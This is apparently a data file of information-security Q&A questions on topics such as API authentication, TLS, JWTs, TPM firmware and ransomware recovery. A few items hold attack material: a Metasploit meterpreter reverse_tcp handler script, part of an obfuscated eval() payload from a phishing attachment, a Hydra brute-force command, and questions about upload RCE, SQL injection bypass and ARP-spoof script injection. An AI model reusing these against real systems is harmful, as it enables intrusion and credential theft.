instruction
stringlengths
24
29.9k
I have to create an API that it only allowed to be consumed by one third party company we are working with. Unfortunately, the API has to be connected to the internet. For authentication, the other company is going to pass a password in each request they make to the API. How long should the password be to eliminate bru...
We have some equipment that is linked to PC's. These PC's acquire data from the equipment that they send to a server through an internal network. Furthermore these PC's are used to mediate instructions from network coupled PC's to the equipment. Therefore, they are named acquisition servers. The equipment has no standa...
I am working with C++ processes on a linux (CentOS 8) environment. These processes should be able to access an encrypted file on the system. Where should I store the password for this encrypted file? My only idea is to hardcode it into the C++ source code, but I doubt this solution is secure.
Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected computer running Windows is at risk. This can't possibly be true, can it? My question is: does the PrintNightmare RCE (CVE-20...
Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly created file. val file = new File("uploads/image.$ext") Files.write(file.toPath, bytes)
I have been reading about TPM for months and one thing seems to be odd. I noticed that TPM firmware can be updated in certain brands. Like "Lenovo" or this link which links a bunch of brands. Now from what I have read TPM is supposed to be hardcoded and on-chip, but when it has firmware updates like that, it partially ...
for context: my machine was hacked by junglesec today, so all user files are encrypted. I looked at htop and saw this. How can one hide process activity from htop (and top) and how can I find out which process is causing it?
I'm in the process of building a kinda odd mechanism to "bypass" authentication. Which of course I know its weird, but many business requirements are weird... So it is a design that derives from business decisions that state that user authentication is an impediment, also the code on the client's backed must not be int...
From my understanding, a VPN kill switch modifies routing to make sure that all traffic must be sent through the VPN's tunnel interface, and otherwise internet access is restricted. On desktop applications it seems quite obvious how this could be implemented since apps offering these sorts of services would have admini...
I understand at an elementary level how data breaches tend to be distributed, starting with friends of the attacker/discoverer and then being distributed via forums, paste bins, etc. However I was wondering is there a common location/forum/method that this occurs on. I am not looking for data breach lists myself, but f...
Verifying a string of long numbers is hard (think of cert public key). I remember there is a tool to visualize this randomness into a "randomness graph" but I cannot recall what is the graph called and how to generate it. So, the question: What is the name of the graph used to help visualize randomness? How to generat...
I have read many articles about the vulnerability in the program dependency, either direct or transitive. Here are two questions come out of my mind. If a dependency A has a vulnerability (Maybe has a CVE identifier) in one of its function called foo(), and I include this dependency A in my application. If my code doe...
When I ask someone about Linux, people always say it's really safe and this OS doesn't collect your data and these are not spy operating systems. When I ask them "how?" they say, "because it's open source." In wiki, open source means: Open source is source code that is made freely available for possible modification a...
imagine the following problem: As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure. I would like to check if it validates the JWT signature, uses the nonce etc. While I can do these tests all manually, I am sure that there is also an automated way, but I can't find it via google...
I use keepass to store my passwords and the keepassdx app to access that database on my Android phone. It offers the option to allow me to unlock with a fingerprint, if I set up fingerprint Auth on my phone. Setting up fingerprints obviously means taking a scan, and I must assume that that scan, or some version of it, ...
From a security standpoint, which OpenVPN cipher should I use? I read online that AES-256-GCM is the most secure for OpenVPN but I prefer to have a confirmation.
I have been using my android phone as a wifi hot spot for my laptop over the last few days so I can access the internet. I've been in a new location with no other personal devices nearby, and the hot spot has been on for extended hours over several days. I had WPA2 PSK security enabled for the hot spot. Today I noticed...
I am using the following extensions on google chrome for complete privacy and to avoid tracking: VPN Extension to hide actual IP WebRTC prevent extension for disabling WebRTC What other extensions should I use? I cannot use TOR instead of VPN as many websites don't allow access via TOR.
I'm using JWTs as part of an URL in order to direct a user to a specific site. I could have just used a UUID, but it's nice to have an expiry date in the link, as well as knowing whom the link is created for. This has been working great, but when I email such an URL to someone with Outlook (maybe a specific version of ...
I know there's no 100% in security. But for business users (yes that is a range of use cases), if they are on Windows 10, they have My Documents pointing to a OneDrive (or GDrive, DropBox, Box, etc.) share, and that share has versioning turned on - then would recovering from Ransomware be pretty fast and easy? In case ...
Do X.509 certificate serial numbers change when a certificate is renewed? I understand the thumbprint changes, but I am unsure about the serial number. I suspect so since it's a new cert, but if you can provide clarity and links to documentation, I would appreciate it.
My university was hit by ransomware. I wanted to know if it was possible that Thunderbird emails were also affected. (Mails saved in the cache, encrypted or not, etc.)
Question I would like to asymmetrically encrypt messages with a public key that I have been given in advance. How can I go about doing that? Some example code in C# would be much appreciated. What do I need it for? Our service receives SMS message bundles through a REST API and delivers the message text to the end user...
I'm working on a API which is serving content based on user requests. What I'd like to achieve is as follows: Having a constant key stored both on the server and the client machine (as a means of identifying a specific user) I'd like to be able to generate a hash with a one-way cryptographic algorithm on the client sid...
I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS attack, however I want something more. I'm looking to perform Remote Code Execution (RCE), I have tried uploading all kinds...
I have to create an API that authenticates a request by checking if the token in the request is equal to the valid token stored in our database. Initially I used the == operator to compare the two tokens, but then I learned that this was vulnerable to a timing attack. So I wrote the below code in C# to do the token com...
I'm confused how the CA server helps with the digital signature and the PKI workflow. Here's an example topology: A and B are the 2 devices using PKI to authenticate each other for VPN, and then there is a CA server (will refer to it as CA). This is my understanding: Step 1: Generating CA certificate request security p...
I am building an authentication service with python and flask and I use MongoDB to store user details. When a user sends a request on an API that enforce the authentication service, I get the token from the request, check if the JWT is valid (I use RSA256), check if the exp is valid, and ultimately I retrieve the auth ...
I know that u2f keys are designed as authentication factors, but I think it would not be far fetched to also add a protocol that the user can use to encrypt or decrypt data on the client-side. This would relieve the user from remembering a client-side encryption key and make client-side key management easier, but loosi...
I have a number of bank cards and I keep forgetting the PIN-codes, in particular because most of them I use rarely. I came up with an idea - for each card: add a secret PIN that I remember to the PIN of the card and write it on the card. Whenever I need it, I can just subtract the 'secret' pin. Does this approach have ...
I am designing a login system for my React app. All user data must be protected in case of a db leak. I only store encrypted data, with the exception of the email. To encrypt I need a key and I don't have a place to store keys and storing them in the db would be dumb. So I'm making keys out of the user's email and pass...
Are the authentication strength of the different authentication factor categories (knowledge-factors, posession-factors and inherence-factors) ranked in any way, like "inheritance-factors are stronger than posession-factors"? I would assume that inheritance-factors are the strongest, but they also can not be changed an...
I read recently about next generation firewalls that use deep-packet-inspection, intrusion-prevention and something the manufacturers call encrypted-traffic-inspection, encrypted-traffic-analytics. The manufacturers claim the encrypted traffic inspection/analysis in nextgen firewalls is made without decrypting the traf...
I have somebody's public PGP key imported on my laptop (Debian Linux), but not their private key. When I encrypt a file to them using their public key, I can then decrypt it again even though I don't have their private key. Through experimentation, it appears that my secret key also works to decrypt the file, even th...
I am trying to create a reverse-proxy web application using Flask. I don't really know weather to call it reverse-proxy or not but my idea is that the web app gets a URL from ../proxy/<URL>, goes to URL like it got example.com from ../proxy/example.com, and now takes the HTML (Page source code) from that website and us...
John the Ripper is unable to crack my SHA1 hashed password: john --wordlist=rockyou.txt testing.txt Whenever I do this in Kali Linux, I get this response: Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=2 Then, when I try to show the password wit...
When we scan a domain name such as www.nmap.org, Question 1: We are actually scanning the server that the website is hosted on, right? Question 2: If there is another domain hosted on the same server, would the results of the scan be the same?
Recently I discovered there are malicious emails (with HTM attachment) in the Sent folder of an @hotmail account to some unknown recipients in (Outlook app in iPad). I immediately proceed to change the password and enabled 2FA to block unauthorized access. It was found that more than 100 of emails sent within a day and...
I have two email boxes: The first one is my main email box in Gmail and the second one is in my website hosting company by Thunderbird which I access from my website hosting manager (WHM) which is Cpanel. To prevent myself of checking both my email boxes each time anew non automatically I contemplate using a Gmail fetc...
When using gpg 2.2.28 & gpg-agent to decrypt a ciphertext that has been encrypted for (any one of) multiple 'receivers', the default behaviour is that it tries to find and use private keys in some deterministic (governed by what, I'm not sure) order. If the private keys are held on cards, and the public keys are in the...
I am connecting to a third party which authenticates with OAuth2. Once the user has logged in, I want to store the access & refresh tokens for the user. Which is more secure & proper - to save the refresh to the database & foreign key it to the user, or to store it as a cookie?
I'm trying to run the following script based on this blog. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc /root/Desktop/folder/met_cmd_file setg lhost 192.168.0.90 setg lport 4444 set ExitOnSession false exploit -j use exploit/windows/rdp/rdp...
On GitHub, anyone can push a commit with your name and email. To combat this, you can gpg sign your commits. However, in the scenario that the private key is exposed, the only option GitHub offers is to remove the associated public key. Unfortunately, this also marks all your past commits as unverified. At this point, ...
I have numeric IDs that I would like to use in filenames. So for example with IDs 1, 2, 3 we would have 1.jpg, 2.jpg, and 3.jpg Now the problem is that clearly a user could just guess 4.jpg and view something they shouldn't be able to find. Previously we have used UUIDs for this purpose but in this particular case I th...
I would like to understand a point. When I use fiddler it creates a local proxy to analyze the traffic, so far everything is fine. However when Fiddler is launched and I browse an HTTPS site the certificate on the browser is "replaced" by the one generated by Fiddler, marked as DO NOT TRUST. I would like to understand...
How do I make sure that this content is not hacked by anyone ? Do I encrypt every file and store the key before my customers download their unique copy?
I have a .net winforms application used in LAN by the company's employees, and it should access a network share to copy files to it. The share has credentials that should not be known to end users. What is the best practice to provide the credentials when accessing the share without hard-coding or exposing them to end ...
I can open any blocked service in the country I live in via Virtual Private Network (VPN) or proxy servers,so why do governments block services? edit: I think governments do so to make it harder to access the service.. is that the only reason?
When a client makes the first request, I send a session ID cookie generated by the server as a string of 64 random bytes using getrandom(2) or /dev/urandom, stored in the database, with the flags HttpOnly, Secure and SameSite=Strict set. Additionally, the server sends a Content-Security-Policy header with the value def...
If a wildcard certificate is provisioned for *.domain.fqdn, and has Client Authentication as a defined usage, does this mean the certificate can be used to essentially impersonate any domain machine? My understanding is that it is up to the receiving entity in how it validates the certificate to machine, but I have not...
I'm researching about SOCKS5 protocol. After understanding it, I know that SOCKS5 does not encrypt data from clients to proxy server. Therefore, can we use TLS/SSL to encrypt data? secure SOCKS5?
Is there a point-and-click way to generate a forensic image of an EC2 system, rather than having to ssh on and dd?
U2F devices store an internal counter to resolve a challenge and the counter value is sent back to the server (source). I think the counters on the server and on the client must go out of sync from time to time, the internet connection just needs to stop working after the client got the challenge from the server. If th...
This article tells us that there are two types of STARTTLS: Opportunistic (i.e. optional STARTTLS) STARTTLS and Enforced STARTTLS, which works by the doctrine of "Encrypted connection or drop connection". We can use checktls.com/TestReceiver to check if the mail server supports STARTTLS. But how do I find out if it enf...
How do you verify if two domains are using the same SSL certificate? Two identified two domains are using the same Authority Key ID, but different subject key ID and public key value. Does this mean they are operated by the same user/organisation?
I would like some expert insight. I want to know what my vulnerabilities for this model are. This is a demo project that I will be following in my production app if all works out securely. My production app will include hybrid encryption for ALL user-sensitive data. Nothing sensitive will ever be stored on the server u...
Imagine you get hold of someone's private SSH key, which is encrypted. Now imagine you also get hold of the unencrypted key (e.g., because some SSH client stores it after decryption). Can you determine the encryption passphrase using this information? (I am asking because the passphrase to one of my own keys, which I d...
I am creating an admin panel for my website. I am coding the entire website by myself. What are some essential security features that I should implement so that only I can access the admin panel and no one else?
I am using a syymetric token, a fernet from the python cryptography module. I am trying to make it such that a terminal logs into a website automatically. I store the serial number and mac address of the terminal. The terminal authenticates itself by sending the serial number as a user name, and the encrypted messasge ...
I have configured my proxy chains in /etc/proxychains.conf. Then when just run nmap or even nc without the proxychains prefix, it automatically uses the proxy chains and routes the traffic through the proxies. I have verified that there are no alias for both the commands. Is this the expected behaviour? Does Nmap check...
I would like to allow users of my app to upload images in different formats that other users can view (including webm videos). But I would also like to make sure that the images are actual images and not harmful to display. So heres my 3 concrete question: Is it enough to check the magic number and the file size to en...
Recently I started having issues with my home Wi-fi connection. My devices showed as connected to the router, but no Internet was coming through. While trying to log into the router through my browser (at 192.168...), I found my password no longer worked. It was reset to the default password written on the side of the ...
It is an obvious security vulnerability to have my API keys out in the open as such when initially developing my app. Parse is setup this way because it’s easy for development and learning I assume. I’m going on the assumption that accepting only HTTPS will be enough to protect the keys in transit. If this is not the c...
I'm having some problems with JSON requests in Hydra. I have a wordlist which consists of lots of lines; each with 2 words separated by a space. I run Hydra using the following command: sudo hydra -l "" -P wordlist.txt example.com http-post-form "/api/:{\"password\"\:\"^PASS^\"}:\"success\"\:false}:H=Accept: */*:H=Acce...
Websites often enforce HTTPS to prevent snooping of sensitive input. Is there something equivalent while uploading files from local disk onto a desktop app, say the desktop version of Signal? When I upload a file onto Signal's desktop app, where all does my file travel through? At any stage of that process, can anyone ...
I have read Incrementally Better Cookies, a couple of web.dev articles and tried to google for "same-origin cookies" but could not find anything so I wonder if this is being worked on. SameSite=Strict & Lax are a very good protection against CSRF but hacked subdomains remain a way to attack – for example, hacked.exampl...
I've got information security as high as possible with my Flutter app so far with encryption and proper storage for data at rest as well as data in transit. With this question I'm only aiming for protecting data at rest. If I did something like in this "sketch" below: Load data from persistent memory (also decrypt) Do...
While I was pentesting a web application, I found out that files that are uploaded to the web application are stored in an AWS S3 instance. Based on my experience, when a web application needs to store all types of files, including files with potential malicious extensions (.php, .exe, .js and etc.), they will not allo...
An embedded device with Linux supports backup/restore of files encrypted with openssl. The idea of backup is: tar -c .... | openssl smime -encrypt -binary -aes-256-cbc -out backupfile.encrypted -outform DER certificate.key and the idea of restore is: openssl smime -decrypt -binary -in backupfile.encrypted -inform DER -...
According to PCI standard all businesses that store, process or transmit payment cardholder data must be PCI Compliant. Taking into account that we are talking about a bank, fields like card number and card holder's name should be obfuscated when displayed on the screen. What about the URL of the request? Is it accept...
I have been looking for my lost car key. I have RTL-SDR and I am able to listen to key fobs frequency which varies between 350-444MHZ. I was trying to understand how most of the keyless entry systems work but I'm not sure whether: Key fob detects a car in proximity and requests and exchanges information Car detects ke...
I have a C code project, I want to use .so lib to verify certificate for valid. I know there is a way to crack .so file by using below tools: 1.IDA_Pro_v6.8_and_Hex-Rays_Decompiler_ 2.WinHex 3.ARM_ASM so, in my opinion, the .so is not a good way to encrypt key verify code. so is there any good way to avoid cracki...
I am using an API , made using an AWS service named API Gateway [Which may not be of great importance]. I have gone through various articles mentioning that rather than storing secret keys directly on an APP, you should be retrieving them through an API. I made an API endpoint that triggers a lambda function on call, e...
We are working on an activity to train staff about security. Is there any way to spoof the company's guest router and ask staff to provide login credentials (as public wifi does) and when they do that, we will have a list of their passwords. so, they can understand that public wifi is not secure enough. Is there someth...
Microsoft describes the communication steps to receive a TGS as follows: client asks Kerberos DC for Ticket Granting Ticket client receives TGT (if authenticated successfully) client asks KDC for Ticket Granting Service, to get access to a certain platform client receives TGS (if TGT was valid) client accesses the pla...
I'm reading about TPM, and I'm currently thinking how to visualize their relationships. Basically, reading from https://link.springer.com/chapter/10.1007/978-1-4302-6584-9_12 (and the TPM documents) I gather the following: PCR: It is a memory register that stores the output of a hash algorithm. A PCR can store the outp...
What are some tools or techniques that could be used in external network penetration testing to perform safe scans only that are designed to cause no DoS (Denial of Service) or other interruptions? Or what points should one have in mind? The scenario is: External pen test for 20 servers & 150 workstations on the inter...
There was the notorious attack on the Copay cryptocurrency wallet in 2018. To recap it briefly, the JavaScript based wallet depended on a library, event-stream. Using social engineering, hackers gained ability to change this library and publish its new versions through npm package manager. Injected malicious code was i...
For my personal use, I bought a domain for internal ssl validation for my pfsense. I was able to get the LetsEncrypt's ACME script to successfully validate my domain and produce an ssl certificate for a subdomain. I setup my pfsense to use my new certificate and alternative host name successfully. So far, everything wa...
I am trying to build an automated pipeline to trigger certain inhouse-software events when relevant CVEs of products-of-interest are published. I am trying to utilise NIST NVD datafeeds for this purpose. I keep encountering situations where recently published CVEs are without CPEs for Known Affected Software Configurat...
I am trying to understand the FIDO2 standard. I know that a Relying Party has to implement a mechanism that checks the counter of the respective credentials. Most of the time, a counter is stored in the database of the server, which has to be smaller/equal to the sent counter. After a successful login, the counter is i...
After some time in the Cyber Defense field, I am noticing that there are different learning paths to take depending on the OS you choose (for example you can learn how to use PowerShelll and lots of Windows tools to use with the Event Viewer, but this won't be useful, at least as far as I know, with Linux). Given the d...
I am evaluating security benefits of requiring employees (in enterprise context) to use multiple passwords (or passphrases) vs single strong randomly generated passphrase (minimum of 8 words) when paired with FIDO U2F (using YubiKey). Option 1: multiple passwords (or passphrases) one password or passphrase for device ...
I wish I'd taken a screenshot of the connection request, but it basically was asking to connect to my work laptop and I could either accept or reject the request. The requesting computer is using an older OS (Mojave - because I still use a 32 bit app (a media server that gets its content from a USB dongle) that's not s...
I've been messing around with John, and when I attempt to crack an SSH hash, I receive this output. Any clue why the cracked hash is displaying the gibberish?? I used ssh2john to convert the key to a crackable hash, then used the output in John. I'm running Kali 2021.2 on a VM, which is fully updated. I also receive t...
A man in the middle attacker can intercept and send a different certificate (a self-signed one, maybe) to the browser. In this case, browser will show warning to the user and doesn't display's the green pad lock near the URL. If a single user bypasses the warning, will he still be prone to a man in the middle attack? H...
We are running a virtual private cloud, in other words a vendor-hosted intranet. (In this case the vendor is AWS, but it could be Azure, Digital Ocean...) The intranet does not have public-facing access. We connect from local machines on home networks via Wireguard + SSH. If this were a physical office network, I would...
I want to attach a valid ssl subdomain to my pfsense. I would check it (with warnings) via my the pfsense's IP 192.168.11.1 . I used multiple tutorials to come up with the following: Bought a domain Set the domain's namespace to cloudflair Setup an cloud flair API key with dns zone edit rights and collected various cl...
If anyone has heard of Ippsec and watched his videos, you'll see that when he extracts a password hash from a machine, he doesn't crack it in his own computer, rather, he uses SSH to connect to his other machine called Kracken, and then cracks the password with hashcat or john. Are there any benefits to this? Why would...
When I am using this command to auto renew my ssl certificate(acme.sh version is 3.0.0): #!/usr/bin/env bash export Ali_Key="123456" export Ali_Secret="123456" /root/.acme.sh/acme.sh --issue --dns dns_ali \ -d poemhub.top -d *.poemhub.top -k ec-256 --debug shows this error: [Sat Jul 17 11:55:19 CST 2021] url='https:/...
I received phishing email that contains base64 encrypted JS code in the attachment. I decrypted it but can't understand it because of obfuscation. Do you guys have any clue what this code is trying to do? <script> eval(function($nbrut, $utnbr, $nbr, $ut, $uyn, $yun) { $uyn = function($charCode) { return ($c...
My knowledge about these topics is very elementary, please "school me" if I said something completely wrong, it would surely help me understand these things better. Now, to my issue. Now that I have a laptop and didn't encrypt the entire disk during installation I was looking for ways to encrypt some particular folder ...
I'm a software dev working on an open-sourced password manager(dev lib, gui and cli) for educational and eventually usefulness purposes. There doesn't seem to be all that much information regarding vault-based password managers and the security they build on/attack vectors and common practices to protect against them. ...
I use bettercap2 http proxy and arp spoof to inject one-line js alert into http pages. It works fine, however what about https? I couldn’t find any working method to inject it without the browser’s self-signed warning. HTTPS allows to import https source scripts only, so I tried apache2 + ngrok for green lock server wi...
I'm trying to intercept traffic between an Andriod App and a Router interface. I'm using a rooted device. They communicate on port 6699 which I believe is typical for nginx. I've tried setting up Burp to capture the traffic but all it sees is the data the App sends/receives remotely (API calls to the cloud) and nothing...
I have an SQL query like "select * from records where record like '%" + user_input + "%'" My goal here is to get all the records. So far everything I have tried involves using comments to bypass the whitespace filter, but with / and - disabled that did not work. Does this mean my SQL query is safe? Is there any way som...
The Trident memory zero-day, zero-click vulnerabilities (exploits critical to NSO Pegasus success) were supposedly patched on iOS by Apple: CVE-2016-4657 CVE-2016-4655 CVE-2016-4656 Android phones are presumably still vulnerable. And since 1000s of phones were recently found to be infected by Amnesty International, p...
Is there an efficient way to hide nginx from Nmap's Version Detection scan (nmap -sV)? The following is a sample result, we are trying to hide the nginx (reverse proxy) string. PORT STATE SERVICE VERSION 80/tcp open http nginx (reverse proxy) There's a way where Nginx manually filters nmap requests through the r...
The recent NSO scandal made me think, how could I design a system which enables encrypted communication even if the devices are use are compromised. I came up with this idea: take two Raspberry Pis or similar devices. On on of them, I physically destroy the chips which enable wireless communication, the other one I con...
How strong is Android security in 2021 in situations where your phone gets stolen? My main concern is internal storage. Is there any specific security progress since Android 7.0? Is there a possibility of leaking pictures and other data from salvaging parts like internal storage?